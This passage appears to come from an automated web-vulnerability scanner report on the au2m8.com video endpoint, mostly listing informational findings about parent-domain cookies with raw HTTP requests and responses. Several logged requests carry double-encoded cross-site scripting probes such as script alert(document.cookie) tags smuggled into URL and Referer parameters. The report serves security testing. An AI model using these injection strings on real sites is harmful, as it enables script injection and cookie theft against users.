Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:02 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:02 GMT
Set-Cookie: bpl1297012502=1297008902; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:02 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11381

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:02 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.213. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012318=1297008718; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:58 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:58 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:11:58 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:58 GMT
Set-Cookie: bpl1297012318=1297008718; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:58 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11311

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:11:58 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.214. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018286=1297014686; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/798119091292066790328795.htm?vs=1&r=www.peppernews.eu%2F&s=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&t=327347
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:51:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:51:26 GMT
Last-Modified: Sun, 06 Feb 2011 17:51:26 GMT
Set-Cookie: bpl1297018286=1297014686; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:26 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11463

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:51:26 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.215. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950890=1296947290; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
playlist=deleted; expires=Fri, 05-Feb-2010 23:08:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/81211909126097148926263.htm?vs=1&r=www.kledy.de%2Fbookmarks.php&s=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&t=76345
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

14.216. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014665=1297011065; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:05 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:05 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:05 GMT
Set-Cookie: bpl1297014665=1297011065; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:05 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11296

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:05 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.217. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014464=1297010864; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:47:44 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sun, 06 Feb 2011 16:47:44 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:47:44 GMT
Last-Modified: Sun, 06 Feb 2011 16:47:44 GMT
Set-Cookie: bpl1297014464=1297010864; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:47:44 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11266

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:47:44 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.218. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950951=1296947351; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:09:11 GMT
Last-Modified: Sat, 05 Feb 2011 23:09:11 GMT
Set-Cookie: bpl1296950951=1296947351; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:09:11 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11436

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:09:11 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.219. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950983=1296947383; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:43 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:09:43 GMT
Last-Modified: Sat, 05 Feb 2011 23:09:43 GMT
Set-Cookie: bpl1296950983=1296947383; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:09:43 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11462

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:09:43 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.220. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012414=1297008814; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:13:34 GMT
Last-Modified: Sun, 06 Feb 2011 16:13:34 GMT
Set-Cookie: bpl1297012414=1297008814; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:34 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11293

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:13:34 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.221. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950921=1296947321; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:41 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:41 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:41 GMT
Set-Cookie: bpl1296950921=1296947321; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:08:41 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11406

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:41 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.222. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012445=1297008845; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:05 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:14:05 GMT
Last-Modified: Sun, 06 Feb 2011 16:14:05 GMT
